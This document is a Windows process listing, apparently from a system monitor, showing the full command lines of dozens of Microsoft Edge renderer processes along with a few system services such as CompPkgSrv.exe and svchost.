"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8956 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8824 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9328 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9540 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8720 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9056 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8712 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7312 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9880 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5828 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6928 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8584 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8092 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10040 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9776 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7316 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9720 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8376 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8480 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9148 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8808 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7880 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8324 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8332 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6940 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5892 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6252 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6412 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10068 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8720 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5176 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7276 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8448 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5132 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3852 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5684 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6528 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=95 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5984 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=96 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8252 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=97 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10440 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=98 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6712 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=99 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10324 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=100 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6360 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=101 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10540 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=102 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5560 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=103 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5976 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=104 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10648 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=105 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5068 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=106 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8148 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=107 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8064 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=108 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10584 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=109 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1660 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=110 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10516 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=111 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6792 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=112 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8300 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=113 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6368 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=114 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8092 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=115 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9548 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=116 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9680 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=117 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8412 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=118 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5328 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=119 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9916 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=120 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9964 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=121 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9352 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=122 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8472 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=123 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8544 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=124 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8820 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1872,9961322562052123183,17628371547979241230,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=125 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6568 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

